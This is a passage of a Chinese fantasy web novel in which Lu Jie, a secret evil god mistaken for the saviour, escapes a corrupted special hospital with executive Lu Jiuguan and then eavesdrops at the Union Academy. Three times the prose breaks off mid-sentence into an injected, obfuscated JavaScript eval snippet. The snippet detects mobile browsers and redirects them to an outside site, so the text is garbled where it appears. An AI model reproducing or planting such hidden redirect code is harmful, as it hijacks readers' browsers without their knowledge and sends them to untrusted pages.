“这个已经够了,我谢谢你——路大执行官还是考虑好怎么解决外面的危机吧。” “决不辜负小少爷期望。” 路九观露出格外欠揍的微笑,挥手朝他道别,身形在墙边如同水纹般颤动一刹,悄无声息地踏出了病房。 * “主人,救世主走了?” 当走廊中开始响起暴虐的怒吼与愤怒的尖叫时,猩红眼球也小心翼翼地从真言之书中蠕动着出现,蹭到陆颉脸颊边贴贴。 “他是走了,但很快就会回来。”陆颉已经挣脱了手铐,揉着手腕慢条斯理地开口,“红红,你怎么看?” 猩红眼球歪了歪眼球,脱口而出:“那些东西的味道很奇怪,和人类不一样,和恶种也不一样。” “不是被恶念污染后的人类?”陆颉若有所思地问道。 “绝对不是!” 触手尖端在陆颉领口打转,显得有些犹豫。 “主人,红红不记得了,但总觉得以前见过外面的这些……它们绝对不是恶种……但也不是被恶念污染后的人类……不,不对——” 尖尖细细的声音微微发颤,带着仿佛刻在灵魂深处的恐惧。 “他们还是人类,只是被加入了一些其他的东西。” “吼——” 嘶吼声在病房外连续不断传来,打斗与奔跑带来的震动让病床微微发颤,只听叮铃一声,有什么东西翻滚着落到地面。 陆颉垂眸看去。 那是一枚胸牌。 是恶种护士在被拍出病房时遗落下的物品。 陆颉翻身下床半跪在地,捡起那枚胸牌细细打量,在翻过正面,看到上面的内容时瞳孔蓦地一缩。 【特殊病院实验部】 【护士01】 一个熟悉的符号,出现在胸牌左下方。 三个Ω绕成一圈,彼此相对。 15. 特殊病院(二) “轰隆!” 正当陆颉因为猩红眼球的话和那个标志陷入沉思时,病房严密牢固的墙体霍然破开一个大洞,扛着巨型针筒的护士愤怒嘶吼着倒退入病房,摔倒在病床跟前。 “他来了,回去。” 陆颉迅速将猩红眼球按进真言之书,抬头的刹那护士漆黑的长指甲已经近在眼前。他瞳孔紧缩却没有动作,下一刻腾空的护士被紧随其后的针筒自上而下一劈为二,带着浓重腥臭味的血肉顿时喷涌而出,全部洒在了他的病床前。 分毫不差。 ……很难相信这不是故意的。 陆颉转身下床,避开地面的血肉尸块走近墙面的人形豁口,还没来得及向外观望,整个人就被一股强劲的气流推回病床,牢牢压在原地。 “这些护士后脑有控制芯片。” 闪着银光的芯片在皮手套指尖灵巧翻转,浑身清清爽爽的路九观迈着大长腿从豁口踏入宛如虐杀现场的病房,对自己造成的一切视若无睹,只是朝陆颉诧异扬眉。 “看来一级控制对你确实还不够。” ……这家伙到底试探够了没有? 陆颉不动声色压下异能的本能反抗,讥讽道:“可能是你屠杀护士的血腥场面让我潜能爆发?真是感谢路大执行官的良苦用心。” “应该的,不用谢。”路九观微微颔首,十分自然地收下了这份感激,这才开口说起正事,“这些东西是杀不尽的,只有把背后的恶种找出来杀了。但现在这里情况不明,我要保护你也腾不出手,目前最可行的方式是强闯出去。” 事实上陆颉在看到那个符号后升起了一瞬想要独自探索的想法,但他想到身旁这位首席执行官的难缠,只能暂且作罢。 甩开路九观以后,多的是机会偷偷潜入这里。 “防御系统失灵后整个特殊病院被封锁,可以从空中走,但顶层没有飞行器,所以我们只能另辟蹊径。” 路九观没等他开口,直截了当地说出了自己的思路。 “现在听我说——” 【你来了】 然而在陆颉耳中,路九观的话却到此戛然而止,取而代之的是一道浑厚含混,雌雄莫辨的声音。 它们从电梯轿厢的广告屏、走廊与科室内的广播、病房中的按铃、甚至是路九观的手机里响起,无数道声音重合在一起,在整个特殊病院的上空回荡,形成重重叠叠不间断的回响。 【你来了】 【你来了】 【你来了你来了你来了你来了你来了——】 嗡—— 当那道回响的频率终于到达峰值的同时,陆颉只觉得大脑霎时轰鸣一声,接下来的一切仿佛是慢动作回放,他眼前的世界在天旋地转中模糊颠倒,路九观不断张合的双唇和脸上错愕的神情被无限拉长,所有感官都像被蒙上一层血雾,断开他与这个世界的链接。 “陆颉?陆颉?” 不知过了多久以后,陆颉在鼻间淡淡的花香里恢复意识,发现自己被放在病床上,痉挛的五指死死拽住了深黑制服下摆的一角。 “异能核心稳定,也不是审判庭副作用……你醒了,感觉怎么样?” 听清说话声的刹那,陆颉猝然松手。他费力撑起身体,发现仅仅只是这一个动作就让自己大汗淋漓,心跳剧烈到耳膜鼓动声几乎要撕裂大脑。陆颉一怔后明白过来,眼底浮现出来不及掩饰的诧异。 他的病……怎么又发作了? 这个时不时陷入极端虚弱状态的病症从十年前开始,伴随着他获得异能的同时出现,原本已经在世光科技集团持续的治疗里稳定下来。 只是最近随着邪神力量的逐渐恢复,又开始死灰复燃。 他推测这个病就源自于所谓的灵魂损耗。 但以往只要及时注射世光科技提供的药剂就能维持住稳定状态,但现在距离他上一次注射甚至还不足三个小时! 这怎么可能? 陆颉张了张口,声带颤动却只能传出微弱的气音,路九观扶起他,神情里终于染上严肃。 “刚刚你突然陷入昏迷,你知道自己是怎么回事吗?” 怎么回事?他是在听到那道声音后突然发病的。 那道声音…… 对,是那道声音,那道声音在说…… “你……” 陆颉尝试了几次,才终于发出清晰的声音,接着他看到路九观蓦然变色,从制服口袋内拿出碎裂的恶念屏蔽仪,上面的指针停留在最大数值—— 显然这里的恶念浓度在短时间内急剧飙升,已经到了无法被检测的程度! “我们必须立刻离开。” 路九观的神情阴沉至极,没再问任何问题,上前一步揽住陆颉的肩膀就要发力将他抱起,但骤然响起的通话提示音打断了路九观的动作,自动接通后通话那头传来一道两人都不陌生的声音。 “小颉。” 是冀云中。 * 病房内,陆颉和路九观面面相觑,一个虚弱无力到几乎无法开口说话,另一个和通话那头的人只能说是点头之交,最终路九观沉默地接过电话,摆在陆颉膝头,打开免提。 “冀先生,是我,路九观。陆颉现在和我在一起,他的情况很不好。” 陆颉注意到路九观第一时间提到了自己,却没有立刻说明特殊病院正在发生的危机。他觉得有些疑惑,因为这显然不符合执行部的规则。 异管局对外宣称负责处理一切和恶种相关的事务,对全体公民负责,但事实上异管局的一切行动都在三大集团的掌控下。在这种严重的危机事件里和冀云中进行直接通话,路九观该做的第一件事就是汇报情况并请示行动。 他完全没必要多说最后那半句话。 “我知道了。”通话那头的反应一如陆颉所料,永远不急不徐,好似一切都尽在掌握,“联合学院监测到特殊病院出现异常,已经触发自毁程序,十五分钟后特殊病院会被永久封闭。” 病房内的两人对视一眼。 路九观试探着问道:“冀先生,这里发生了什么?” 回应他的是温和却不容置疑的命令:“待在原地,会有人来带你们离开。” “冀先生——” “为了你们的安全,还是不要有多余的好奇心了,路部长。” “嘟嘟——” 通话被挂断,陆颉习以为常地收起手机,转头看到路九观神情晦涩,想了想还是开口:“他不想告诉你的问什么都没用,但这里一定有什么他们想掩盖的秘密,你要是想调查就抓紧。” 最好能调查到更多关于猩红眼球本体的线索。 他皱皱眉,压下喉间泛起的腥意,继续说道:“现在你守着我也没意义,不如去做你自己的事。不用担心我告密——那对我也没什么好处。” 说着他抬手擦去唇角止不住溢出的鲜血,摊开掌心凝视其中正在蠕动的灰色雾气,心里明白那是自己正在被恶念影响逐渐异化的象征。 发病的时候他是最脆弱的,异能,体力,精神,都将被削弱到不可思议的程度,但他没想到的是自己不受恶念污染的天赋也受到了影响。 或者说,是此刻在特殊病院肆虐的那个东西,不但能诱导他发病,甚至能用自己的力量影响到他。 那个东西……能够伤害他的灵魂。 “它们是人类……但被加入了一些其他的东西。” 不久前猩红眼球的反应在眼前划过,陆颉忽然生出一个大胆的猜测。 这个看起来与恶种有着一模一样特质,但实则在细微处却全然不同的存在……这个让联合学院当机立断启用自毁程序,让冀云中亲自打电话来下达命令的东西—— 不是恶种。 不是他们这个世界中原本就存在的,自四大原初恶种繁衍至今的族群。 而是某种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396464|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比恶种更可怕,更隐秘,也更令人厌恶的…… “陆颉!” 他思考得专注,完全忽略了耳旁传来的一切声音,也没有意识到自己方才一边吐血一边说话的模样有多么令人心惊,更不知道他此时此刻神情空白对外界毫无反应的姿态落在路九观眼中又能引发多少猜想……直到手腕被小心翼翼握住,冰凉身体感受到透过制服传递来的体温,陆颉才后知后觉抬起脸。 “路九观?” 他喃喃着开口,看到路九观眼中流露出毫无掩饰的焦急、愤怒、痛惜,惊讶于对方难得的情绪外露,接着为他们此时过于亲密的姿势感到不妥。 集团的人很快就要到了,他们…… “没关系,靠着我会舒服点,我陪着你。” 下意识的抗拒却被柔和的力道压制,甚至被拥得更紧了一些,路九观用一种从未有过的温柔嗓音慢慢地凑近他说话,话语中浓浓的安抚意味让陆颉有一瞬间恍惚。 “我会带你出去的,别怕。” 别怕。 以陆颉身份与对方相识,到现在不过短短数天,路九观对他说过不止一次这两个字,但在过去的二十二年里他落入过不知多少更加危险绝望的境地,那些时候……有人对他说过这样的话吗? 似乎在他觉得理所当然的时候,路九观却总觉得他应该感到害怕、愤怒和低落,这让陆颉忽然开始生出一种困惑。 他应该感到害怕吗? 他可以……害怕吗? “我……” 我没有害怕。 他想这么说,也确实是这么想的,但极度虚弱让他的声带无法发出完整音节,而在路九观靠近的时候自然而然缩进对方怀里的身体反应更让陆颉莫名其妙地不知所措起来,仿佛失去了所有随机应变的能力,只能依靠本能作出反应。 他闭上眼睛,嗅着鼻尖隐约晃动的蓝花楹清香[],在轻柔的抚摸落在后背时,脸颊无声地贴近了近在咫尺的温暖臂弯。 我不害怕。 但我确实有点累了。 就这一次,路九观,让我…… “叩叩叩。” 突如其来的敲门声让陆颉瞬间惊醒,他从路九观的肩头直起身,看到风尘仆仆的世光科技集团第一特助李貌正似笑非笑倚在门边,鼻梁上架着一副无框护目镜,脚边的手提箱印着显眼的衔尾蛇标志。 “小少爷真是好兴致,在这样的地方……”察觉到陆颉的目光,李貌顿时勾起讥讽的笑意,环视四周一圈后露出遗憾神色,“也能如此自然地讨食。” “……别理他。” 陆颉按住路九观紧绷的手臂,难得没有升起嘲讽回去的念头,只是恹恹地瞥向那个手提箱,语气飘忽地提醒。 “还有十分钟。” “……” 李貌的脸色变了变,嘴唇微微蠕动,似乎是想要骂人但强行忍了下来,但动作却是半点不含糊,立刻半跪下来打开手提箱,每一个动作都迅速且精准,显然也不敢真的耽误正事。 “戴好。” 恢复成面无表情精英姿态的李貌从手提箱内拿出两副护目镜,看也不看扔给两人,冷冷甩下一句话后头也不回地走出了病房。 “不想疯了的话,就别在离开这里前取下它。” 陆颉和路九观对视一眼,各自戴好护目镜,接着他被路九观背在身后跨出病房,看到头顶的深红天空。 陆颉呼吸微微一滞,伏在路九观肩头的手悄然收紧。 在环绕着整座特殊病院的高浓度恶念遮掩下,柔软的触手正悄无声息探出他袖口,在掌心扭动着划出痕迹。 “嘤嘤!” “主人!” “红红感觉到了……是红红本体的气息!” “就在这里!” 陆颉的神情一顿,不着痕迹地偏过头,朝红红所指的方向看去。 那里是一片深红的大雾。 16. 特殊病院(三) 整个世界都弥漫着这场深红大雾。 李貌带来的护目镜应该具有某种认知调节作用,可以在屏蔽恶念影响的同时过滤掉外界超出认知的信息,但或许是邪神的眼睛无法被蒙蔽,踏出病房后,陆颉清晰地看到了这个完全陷入扭曲的世界。 地砖如同波浪般来回起伏,每一次鞋底的落下与抬起都会带出黄棕色的肉泥。墙壁涌动着前后翻滚,不时有湿滑的黏液从身后冲刷而过,落在他们身上时化作细细密密的眼球,眨动着扫过每一寸裸露在外的肌肤。 不知为何,陆颉总觉得自己忽略了什么,某种怪异的感觉萦绕在心头,让他下意识感到不妥。 仿佛在他们置身的这个诡异的被恶念扭曲的世界之中,还有什么更加不详的东西隐藏在暗处,悄无声息地盯着他们的一举一动。 “坐电梯上去。” 在李貌低声的提醒中,陆颉伏在路九观背上,看到他们走入一个蠕动的赤色肉壁,原本应该是镜子的地方被无数凸起的吸盘占据,黄绿泡沫在吸盘间隙发出噗嗤噗嗤的响声,一具护士的尸体正被嵌在其中,躯干已经消失,只余下四肢在半空中抽搐着挥舞。 陆颉沉默地低头,避开原本应当是缆绳的黑色触手,看到它扎入护士掉落在地面的头颅,白花花的脑汁正顺着触手向上运输,在深红雾气里标记出清晰的路径。 直达顶楼。 陆颉无声叹了口气,随后又升起疑虑。 特殊病院的污染程度之深就连他也从未见过,虽说他推测污染这座病院的并非恶种,而是某种迄今未被发现的不知名存在,但李貌带来的护目镜效果又非常好,前面的两人完全看不到自己眼中所见到的场景。 而这款护目镜—— 他从未在集团内部和组织里见过,可手提箱底部的编号却代表着这里面的东西早在三年前就已经被封存。 三年前生产的东西,有可能防得住这个不知名存在的污染吗? 还是说冀云中早就知道了会发生今天这一切? 特殊病院里……究竟有什么? * “嘤!在,在那里!” ——有他眷属一半的身体。 几分钟后,陆颉登上顶楼,掌心再度被某只战战兢兢的猩红眼球划过,冒死进言的眷属在面对本体的巨大诱惑下突破心理极限,紧紧挨着路九观的制服传递完情报,嗖得一声就窜回了真言之书。 猩红眼球的半个身体。 陆颉心情有些复杂,不知道是该产生线索送上门来的意外之喜,还是该为自家眷属的身体居然还能按部分来算感到忧心忡忡。 这个是分成一半一半,其他几个……不会还有四分五裂七零八落的吧? 他看向红雾深处,已经能够看清其中横卧在大地上的隐约轮廓,知道那就是红红的一半身体。 仔细分辨的话,甚至可以看出被触手包裹着的眼球,只是那颗眼球与庞大的身躯相比显得极为袖珍,像是已经萎缩。 陆颉记下了这具身体的模样和方位,转而看向其他地方。 发现眷属的身体是意外的收获,但他最关心的是盘踞在特殊病院,将这里污染,对他说话让他发病的那个存在…… 祂又在哪里? “小少爷我拜托你行行好——别再盯着红雾里看了。” 李貌没好气地从驾驶舱探出身,示意两人赶紧进来。 “护目镜的认知滤网是有过滤上限的,看久了被影响在半路发疯的话谁也救不了你!” “神授异能拥有者对污染的抵抗力,是其他谱系异能者很难理解的强度,在认知滤网的作用下,只是这一点时间不要紧。” 陆颉没有说话,继续观察着四周,路九观却是不咸不淡地开口将李貌的话堵了回去,先一步跳上飞行器,朝他伸出手,放轻语调缓声开口。 “你自己上不来,手给我。” 李貌的表情像是生吞了一整年份世光科技集团的坏账。 确实上不去的陆颉慢吞吞张开手,任由路九观将自己抱上飞行器,舱门关闭的刹那,他忽然从金属反光里瞥见一道炙热目光。 陆颉猝然回身。 在他身后,头顶上方厚重的深红大雾不知何时裂开了一道口子,狂风从裂口外疯涌而入,吹开始终遮蔽着视线的浓雾。 那道目光来自裂口之外。 “系好安全带,准备起飞。” 李貌有些紧绷的声音自通讯频道内传来,飞行器在下一刻加速至极限,腾空而起冲出裂口,很快特殊病院就被他们远远甩在身后。 陆颉回头看向那片深红天空,这才发现原本特殊病院所在的位置已经布满重重封锁,形成了一座天地牢笼。而他们离开的裂口—— 实际上却是一张充斥着血红黏液的巨型口器! 整个特殊病院都被某种存在吞入了口中! 【噫——】 怪异的,悠远的长鸣声遥遥传来,张开的巨口缓缓闭合,终于能够让陆颉看清它的全貌。 那是一个悬浮在空中的,有着无数触角的球状生物。 而在所有触角的最顶端,一对银白眼瞳倏尔转动朝向他的方位,眼底闪动着贪婪与可惜交织的炙热眸光。 以及一丝狡猾的,暗含窃喜的笑意。 * “家主让你们直接去联合学院。” 飞行器升高到固定轨道后,李貌从驾驶舱中离开,径直走到路九观面前,彬彬有礼地颔首。 “路部长,飞行模式已经调整到自动航行,我需要回去复命,就不和你们一起走了。” 陆颉倚靠在窗边,神情平静,很自然地接受了被直接安排去处这件事,倒是一旁的路九观看了他一眼,像是有些迟疑。 “不用送他回世光科技吗?” “小少爷的实习离职手续和联合学院的入学手续都已经办妥,提前入学的申请也已经通过。” 李貌答非所问,拎起脚边空了的手提箱走近舱门,这才转头看向陆颉。 “小少爷,请您记得自己的身份,不要辜负家主对您的期望。” 说完这句比起劝说更像是警告的话,西装革履的特助先生再没有停顿,一把拉开舱门从万米高空一跃而下,金色羽翼自后背张开,快速扇动着消失在两人的视野中。 “你不要在意……” “你别听他——” 舱门咔哒一声自动闭合,两人同时开口,陆颉眨眨眼睛,朝路九观迅速比划了一个住嘴的手势。 “别用这种眼神看我,世光科技集团是世家门阀,拥有历史悠久的独裁制度。李貌是家主身边掌握着实权的第一特助,而我只是个无权无势的养弟。你也看到了,结束实习,提前入学联合学院,家主一句话就可以轻易决定一切,所以他这种态度很正常。” 路九观的眼神看起来很想按着他打一顿。 “那你的身体怎么回事?不用去医院检查?” 陆颉感受了一下自己目前的状态:“离开特殊病院以后就好了,现在没问题。” 他想起那道直接导致自己发病的声音,试探着问道:“路九观,在我出现异化症状之前,你没听到什么声音吗?” 陆颉原本只是不抱什么希望地随口一问,但路九观的神情却骤然严肃下来,紧紧盯住了他的眼睛。 “陆颉,你听到了什么?” “你来了。”陆颉没有隐瞒,描述了自己在那一刻感受到的声音,“所有能发出声音的地方都在重复这三个字,异化就是在那之后发生的。” 他注意到路九观在听到自己回答之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396465|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后越来越沉的神色,不动声色放缓了语速,目光坦诚而信任地回望过去,用一种好奇的语气接着开口:“我记得你说那些护士恶种是被操控的……那究竟是什么恶种?它能操控一整座特殊病院?” 路九观没有说话,机舱内一时间只有自动航行模式下偶尔响起的播报声,陆颉耐心地等待着,脸上依旧带着困惑和好奇的神情,在又一段时间的沉默后,他听到路九观的声音低沉地响起。 “……那不是恶种。” 这个答案陆颉已经知道了,但他还是露出了诧异的表情,等待路九观说出更重要的下一句话。 “异管局内网的信息已经更新,特殊病院发生的是最高级别的异常事件。” “——邪神苏醒。” * “……” 落在机舱内的声音克制且紧绷,似乎声音的主人还在顾忌着听众能否承受,但被特意照顾的陆颉只觉得心神俱疲,有一种费尽心机百般算计到头来小丑竟是他自己的无奈。 这份情报的真实性毋庸置疑——涉及到最高级别异常事件,路九观一定是通过首席执行官权限收到的信息,而这个层级的信息必然得到了三大集团、联合学院以及异管局的认可和印证,也就是说所有人都得出了错误的结论。 那个盘踞在特殊病院的怪物怎么可能是邪神。 邪神是已经苏醒了。 邪神就在你面前。 陆颉撑着额头掩住脸上的疲惫神色,心里明白想从官方途径查出那个怪物的来源已经没有希望。但从另一个角度来说,有了这个被官方盖章认定的“邪神”,他的真实身份和目的从此以后就能更完美得被隐藏起来。 更何况—— “陆颉,你的异能是瞒不住的,今天以后上层一定会慢慢将你是救世主这件事公开,针对你的各类刺杀将会层出不穷,你的处境也会越来越危险。” 是的,更何况他现在被认作是救世主,这简直是精妙绝伦的巧合。 而他现在几乎什么都不用做—— 陆颉偏头抵着窗玻璃,有些提不起精神继续对着路九观演戏,索性一脸放空地盯着窗外。 这副备受打击了无生趣的萎靡模样顿时让路九观的语气越发温和。 “净化异能是你与生俱来的天赋,和你的身份、地位、姓氏都毫无关系——它是只属于你的力量。” 所有人都会自发为所有的巧合找到关联,互相印证,将他救世主的身份彻底坐实。 “我之前就和你说过,这份力量是你重新选择的机会。陆颉,你的未来不该局限在世光科技集团这样的泥潭中……” 不过路九观今天话可真多…… 这家伙居然还会这样热衷于安慰和鼓励别人? 陆颉在耳边不间断落下的劝慰声中越发茫然,仔细回忆了一番自己与路九观相识至今斗智斗勇打生打死,互相猜疑试探的心路历程。 作为噬光时天天被某人撵在屁股后面追捕,见面就是动刀动枪毫不留情,作为陆颉时初次见面就被拷进审讯室,之后百般怀疑试探始终没有放下戒心—— 怎么进了趟特殊病院发了次病,就一下子态度一百八十度大转弯,忽然就和风细雨起来了? 陆颉不理解,陆颉很困惑,陆颉……在唠叨声里很想睡觉。 他真的很缺一场没有打扰的睡眠。 “陆颉,联合学院会教会你掌握自己的力量,作为你的引导者,我也会陪伴你直到你能承担起救世主的责任……” 已经半阖上眼睛昏昏欲睡的陆颉霎时惊醒。 “你说什么?” 他愕然直起身体,第一次露出真正的,没有任何作伪成分的不可置信神情。 “路九观——” “你是我的引导者?!” 17. 联合学院(一) 陆颉从不相信预言。 但自从这一回遇到路九观以来,发生的种种意外开始让他相信预言有可能为假,但邪神与救世主确实是宿命中的不可共存。 看看路九观都在说些什么吧。 引导者。 这是一个很古老的概念。 曾经异能刚出现的时候,异能者的数量极其稀少,因此每一个新生异能者都会由一名前辈进行贴身教导和保护,直到其能够独当一面。这种代际间的传承延续保证了异能者群体的稳定壮大,以及每一个个体的强大战力。 后来,随着时间的推移异能者数量越发庞大,传统一对一的引导关系已经无法维系,联合学院也就顺势而生,进入学院学习掌握相关知识成为主流。 如今只剩下三大集团会保留引导者这样的传统传承关系,而因为这种比师生更亲密的关系,让引导者天然会和被自己庇护的异能者成为利益共同体,自然而然又与集团产生联系。 因此,引导者的身份高低也成为了集团内子弟身份地位的象征。 陆颉的异能从未对外公开,自然也没有引导者,这也是他在世光科技始终不被一部分高层承认的原因之一。但如今从天而降一个人类天花板级别的首席执行官作为自己的引导者,他却反而觉得麻烦至极。 因为那个引导者是路九观。 哪个邪神的引导者会是救世主? “这应该不是你自己的意思吧?”短暂的错愕后,陆颉迅速想通了其中的种种关节,“以你现在的身份,想成为谁的引导者不是可以随便做决定的……是冀云中提出来的?” 路九观点点头:“没错,我也觉得很合适。” “哦。” 验证了猜想,陆颉对这件事完全失去了兴趣,他一脸平静地放倒椅背,安然躺下,只觉得未来日子必将艰苦卓绝,他的演技时时刻刻都得备受考验。 要不还是弄死路九观吧。 “你在想什么?”路九观突兀看来,脱下手套探了探他的额头,“还不舒服?” 不等陆颉回应,黑发执行官已经动手为他盖上薄毯,声音变得越发轻柔。 “不要胡思乱想,虽然邪神已经苏醒,但还没到要将所有责任都压到你一个刚刚觉醒异能的年轻人肩上的地步。” 路九观显然已经完全进入了引导者的角色,态度温和得简直令人毛骨悚然。 “执行部不是摆设,天塌下来也有我顶着。慢慢来,不用有太大压力。” 陆颉:“……” 他看着缩在书页里不敢冒头的猩红眼球,哗啦啦疯狂震颤的真言之书,还有躺在手机信箱里没有任何署名的短信,脸颊微微一抽,用尽职业素养扯出了一道干巴巴的假笑。 “那你们可要好好干啊,路大执行官。” * 一个小时后,陆颉决定在某位引导者不在的时候争分夺秒,夜游联合学院。 飞行器降落后他直接被送到了住宿区,迅速设置好门锁密码检查完房子每个角落后,陆颉翻窗离开,打算在天亮前的这段时间里随便逛逛。 初入陌生环境的第一夜他不可能睡得着,那还不如先熟悉熟悉周围,看看有没有机会找到一点原初恶种的线索。 联合学院很大,各类功能配备齐全,几乎像一座小型城市,陆颉所在的住宿区位于最昂贵的地段,一栋栋独立小别墅相隔极远,私密性极佳,他沿着河边慢慢走着,忽然捕捉到上风处不同寻常的动静。 “汩——” 是茶水注入品茗杯的声音。 陆颉记得这种声音,因为他经常陪着冀云中一起喝茶,他甚至可以从这种声音的细微差别里分辨出不同茶具的材质。 大晚上的,居然有人在河边泡功夫茶,联合学院果然非同寻常。 “您认为这次异常事件不仅仅是针对救世主的袭击?” 隐约的说话声顺着风飘来,陆颉顿时停下一切动作,在安全距离外将自己更深地掩进芦苇荡里。 说话的人是一下飞行器就消失不见的路九观。 “我也觉得很蹊跷,为什么陆颉的异能刚刚觉醒,立刻就引来了邪神的目光。”路九观似乎对另一人很是尊敬,平日里霸道专横的语气收敛了很多,“难道预言是真的?” 泡茶的声音没有停下,在水流声中,有人缓缓开口。 “预言是不完整的,谁也不知道缺少的那几个字是什么。但陆颉是不是救世主,现在还不能下定论。” 陆颉小心地控制住自己的心跳和呼吸,慢慢向上风处接近。 他的异能被认定为神授谱系的净化,特殊病院的袭击被定义为邪神苏醒,路九观成为自己的引导者,这一连串事情的发生,很显然都意在将自己打造为救世主,而虽然是世光科技集团在背后运作,但要想促成这个共识达成,整个上层必然都已经统一意见。 现在和路九观对话的这个人,却说自己是不是救世主还没有定论? 他是谁?难道他知道自己的真实身份? “……唤醒邪神的不一定是救世主,足够强大和优秀的祭品也能够让邪神从沉睡中复苏,不要忘了传世书中第一篇章背面的记载。” 那道苍老的声音继续说着,像是有些犹豫,说话的语速很慢,仿佛正处在某种艰难的抉择中。 “邪神祭品,也同样拥有唤醒邪神,左右世界终末的力量。而救世主与邪神祭品一体两面,只在他一念之间……陆颉可以是站在人类一边的救世主,也可能会成为邪神毁灭世界的帮凶。” “邪神祭品?” 路九观喃喃的声音与陆颉在心底的默念重合,带着与他如出一辙的惊疑。 风停了,四周一片寂静,只有茶水在杯中轻晃的闷响,过了很久,那道苍老的声音再度响起。 “九观,我找你过来,是想提醒你。学院董事会在你们来的路上召开会议,斯通提议将陆颉控制起来,尽快确认他的身份。如果他真的是邪神祭品……” “会被关入死禁狱榨干最后一点价值直到死,对吗?我知道他们对那些不受控制的高风险异能者都是这样做的。” 路九观冷声说道,语气里带上了浓浓的讥诮。 “斯通想要怎么控制?用他们的生物技术吗?他们上周提出的人体实验自愿协定提案被否决了,修改成只能从死禁狱里招募死囚。怎么,是想用救世主当他们的第一个自愿实验体吗——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396466|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “路九观!冷静点!这不是你该说的的话!” 骤然严厉的呵斥打断了情绪显然不稳的路九观,河边顿时再度陷入安静。 上风处的两人间气氛凝重,但陆颉听到这里已经开始感到无聊。 路九观所说的那些,不会有人比自己更清楚是怎么回事。 死禁狱…… 他知道那是个什么样的地方。 “学院长,那您是怎么想的?”过了会儿,沉稳镇定的首席执行官再度上线,他的称呼也让陆颉知道了另一人的身份。 联合学院的学院长,这座学院定海神针一般的存在,是傲慢如三大集团也要予以敬意,以礼相待的前辈。 路九观和对方的关系竟然这样好? “我只知道他来到联合学院就是我的学生,而学院长的职责就是保护好自己的学生。”学院长慢悠悠地说道,“九观,你如今是陆颉的引导者,我相信你可以将他引导向正确的方向。” 陆颉一怔。 又是一个说要保护他的人。 这些人为什么总是…… “作为陆颉的引导者,我反对斯通的提议。”路九观的声音从远处清晰传来,落在他耳中。 “陆颉的性格确实有些问题,很容易走向极端,但他本性不坏。他只是比常人需要更多的信任和引导。” “我会亲自看着他,不让他走上错误的道路。” ……这家伙以为自己是什么人,就这样擅自对他做出评价。 陆颉有些不自在地偏过头,指尖微微蜷缩起来。 路九观,你连我到底是什么人都不知道,凭什么敢在这里大放厥词?你知不知道你在这里说的话很快就会传到三大集团耳中,你想过一旦自己无法兑现承诺,会面临什么吗? 陆颉闭了闭眼,转身背对着河岸离开,知道联合学院和路九观的态度以后这里已经没必要再待下去,他也不想再停留下去听到些别的什么肺腑之言。 他不能再动摇了。 天边泛起鱼肚白,黎明前的黑暗正在散去,清晨湿润的微风停留在耳畔,带来身后逐渐变得模糊的说话声。 “如果他真的走错了呢?” “他走错了,我就去把他带回来。” 陆颉脚步不停,闷头朝来时的方向走,直到听见别墅前噗噗的戏水声。 “嗷——嗷呜!” 一只通体雪白的小狗颠着屁股,正望向水面跃跃欲试,看到他的出现顿时抬起头,尾巴兴奋地摇出残影。 “嗷呜!呜——” 陆颉忽然一顿。 有一道突如其来的尖细鸣叫在他心底同时响起,像是带着哭腔的哀鸣。 “呜呜,呜……” “呜——!” 是谁? 谁在和他说话? 陆颉迅速转身四顾却一无所获,再回头时水边的小白狗已经消失不见,只有空空荡荡的水面在无风的清晨荡起涟漪,告诉他刚刚那一切不是错觉。 “呜呜,呜……” 但幽幽的鸣叫再度若有若无响起,像是在充满希冀与惊喜的……轻声对他发出呼唤。 等着他去找到它。 18. 联合学院(二) “呜呜,呜……” 联合学院教学主楼,异能史课。 上课时间还没到,陆颉伴着大脑中回旋的呜咽声咬下一口三明治,有些头疼地按了按额角。 他很困。 距离特殊病院异常事件已经过去一周,今天是联合学院正式开课的第一天,早上九点还要点名却不得不去的必修课让他头大不已,偏偏他昨晚几乎完全没睡。 夜游到凌晨三点,刚刚躺下没两个小时—— 那道声音又一次出现了。 伴随着声音的是一个又一个古怪的梦境,醒来后陆颉已经忘记了梦境的内容,只记得每一场梦境都是自己和路九观的抵死纠缠,毫无疑问的顶级噩梦。 “呜呜,呜……” “呜……呜~~~~” 过去一周这道声音时不时会出现,声音越来越清晰,越来越急切,陆颉在连续的夜游中已经摸清了这道声音传来的方位,也熟练地具备了隔空安抚的技能。 他在心底开口:“好了,别急,我已经找到密道了,很快就去找你。” “呜!呜呜呜呜!” 真言之书蓦然翻开,掠过打着睡嗝的猩红眼球,被他压住的下一页正在疯狂抖动,像是急着想突破封印,要对他说些什么。 